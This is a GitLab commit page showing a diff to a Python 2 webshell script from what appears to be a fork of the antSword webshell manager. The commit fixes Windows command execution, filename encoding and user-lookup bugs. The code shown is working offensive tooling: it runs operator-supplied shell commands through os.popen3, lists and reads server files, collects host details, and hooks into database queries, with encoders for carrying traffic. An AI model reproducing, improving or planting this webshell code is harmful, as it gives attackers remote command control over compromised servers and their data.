Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
A
antSword
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
HuangJunbo
antSword
Commits
7fe0b815
Commit
7fe0b815
authored
Dec 29, 2018
by
Medicean
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
(Fix:Shell:Python2) 修正在 windows 下的3处问题
parent
c0c37fbf
Changes
1
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
25 additions
and
9 deletions
+25
-9
python2_custom_script.py
shells/python2_custom_script.py
+25
-9
No files found.
shells/python2_custom_script.py
View file @
7fe0b815
...
@@ -10,11 +10,13 @@ import base64
...
@@ -10,11 +10,13 @@ import base64
import
binascii
import
binascii
import
shutil
import
shutil
import
urllib
import
urllib
import
platform
import
cgitb
import
sys
import
sys
cgitb
.
enable
()
reload
(
sys
)
reload
(
sys
)
sys
.
setdefaultencoding
(
'utf-8'
)
sys
.
setdefaultencoding
(
'utf-8'
)
VERSION
=
"0.0.
1
"
VERSION
=
"0.0.
2
"
u'''
u'''
_ ____ _
_ ____ _
__ _ _ __ | |_/ ___|_ _____ _ __ __| |
__ _ _ __ | |_/ ___|_ _____ _ __ __| |
...
@@ -42,6 +44,11 @@ u'''
...
@@ -42,6 +44,11 @@ u'''
CHANGELOG:
CHANGELOG:
Date 2018/12/30 v0.0.2
1. 修复 windows 下命令执行参数问题
2. 解决 windows 下文件名中文编码问题 (win10以下系统建议使用 gb2312 gbk 编码)
3. 修复 windows 下获取当前用户获取不到时致命错误
Date 2018/12/29 v0.0.1
Date 2018/12/29 v0.0.1
1. 文件系统 和 terminal 管理
1. 文件系统 和 terminal 管理
2. 支持 hex 和 base64 编码器
2. 支持 hex 和 base64 编码器
...
@@ -90,8 +97,17 @@ def BaseInfo():
...
@@ -90,8 +97,17 @@ def BaseInfo():
if
(
os
.
path
.
isdir
(
"
%
s:"
%
chr
(
L
))):
if
(
os
.
path
.
isdir
(
"
%
s:"
%
chr
(
L
))):
ret
+=
"
%
s:"
%
chr
(
L
)
ret
+=
"
%
s:"
%
chr
(
L
)
ret
+=
"
\t
"
ret
+=
"
\t
"
ret
+=
"
%
s
\t
"
%
' '
.
join
(
os
.
uname
())
ret
+=
"
%
s
\t
"
%
' '
.
join
(
platform
.
uname
())
ret
+=
getpass
.
getuser
()
if
platform
.
system
()
.
lower
()
==
'windows'
:
u
=
"Unknow"
# windows 下没 pwd 使用 getpass.getuser 会出错
for
name
in
(
'LOGNAME'
,
'USER'
,
'LNAME'
,
'USERNAME'
):
user
=
os
.
environ
.
get
(
name
)
if
user
:
u
=
user
break
ret
+=
u
else
:
ret
+=
getpass
.
getuser
()
return
ret
return
ret
...
@@ -105,7 +121,7 @@ def FileTreeCode(d):
...
@@ -105,7 +121,7 @@ def FileTreeCode(d):
# 如果文件名/目录是中文,则需要 encode 成系统的编码后再去处理
# 如果文件名/目录是中文,则需要 encode 成系统的编码后再去处理
if
(
os
.
path
.
exists
(
d
.
encode
(
ENCODE
))):
if
(
os
.
path
.
exists
(
d
.
encode
(
ENCODE
))):
for
fname
in
os
.
listdir
(
d
.
encode
(
ENCODE
)):
for
fname
in
os
.
listdir
(
d
.
encode
(
ENCODE
)):
fname
=
fname
.
decode
()
fname
=
fname
.
decode
(
ENCODE
)
p
=
os
.
path
.
join
(
d
,
fname
)
p
=
os
.
path
.
join
(
d
,
fname
)
try
:
try
:
fst
=
os
.
stat
(
p
.
encode
(
ENCODE
))
fst
=
os
.
stat
(
p
.
encode
(
ENCODE
))
...
@@ -117,7 +133,7 @@ def FileTreeCode(d):
...
@@ -117,7 +133,7 @@ def FileTreeCode(d):
ret
+=
u"{}
\t
{}
\t
{}
\t
{}
\n
"
.
format
(
fname
,
TimeStampToTime
(
0
),
0
,
0
)
ret
+=
u"{}
\t
{}
\t
{}
\t
{}
\n
"
.
format
(
fname
,
TimeStampToTime
(
0
),
0
,
0
)
else
:
else
:
ret
=
"ERROR:// Path Not Found or No Permission!"
ret
=
"ERROR:// Path Not Found or No Permission!"
return
ret
return
ret
.
encode
(
ENCODE
)
def
ReadFileCode
(
fpath
):
def
ReadFileCode
(
fpath
):
u'''获取指定路径文件内容
u'''获取指定路径文件内容
...
@@ -230,13 +246,13 @@ def ExecuteCommandCode(cmdPath, command):
...
@@ -230,13 +246,13 @@ def ExecuteCommandCode(cmdPath, command):
if
d
[
0
]
==
"/"
:
if
d
[
0
]
==
"/"
:
cmd
=
[
cmdPath
,
'-c'
,
'
%
s'
%
command
]
cmd
=
[
cmdPath
,
'-c'
,
'
%
s'
%
command
]
else
:
else
:
cmd
=
[
cmdPath
,
'/c'
,
'
%
s'
%
command
]
cmd
=
'''
%
s /c "
%
s"'''
%
(
cmdPath
,
command
)
c_stdin
,
c_stdout
,
c_stderr
=
os
.
popen3
(
cmd
)
c_stdin
,
c_stdout
,
c_stderr
=
os
.
popen3
(
cmd
)
c_stdin
.
close
()
c_stdin
.
close
()
result
=
c_stdout
.
read
()
result
=
c_stdout
.
read
()
c_stdout
.
close
()
c_stdout
.
close
()
errmsg
=
c_stderr
.
read
()
errmsg
=
c_stderr
.
read
()
errmsg
.
close
()
c_stderr
.
close
()
return
result
+
errmsg
return
result
+
errmsg
def
showDatabases
(
encode
,
conf
):
def
showDatabases
(
encode
,
conf
):
...
@@ -343,7 +359,7 @@ if __name__ == "__main__":
...
@@ -343,7 +359,7 @@ if __name__ == "__main__":
else
:
else
:
pass
pass
except
Exception
,
e
:
except
Exception
,
e
:
ret
=
"ERROR://
%
s"
%
e
.
strerror
ret
=
"ERROR://
%
s"
%
getattr
(
e
,
'strerror'
,
str
(
e
))
print
(
ret
,
end
=
""
)
print
(
ret
,
end
=
""
)
print
(
OUT_SUFFIX
.
decode
(
ENCODE
))
print
(
OUT_SUFFIX
.
decode
(
ENCODE
))
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment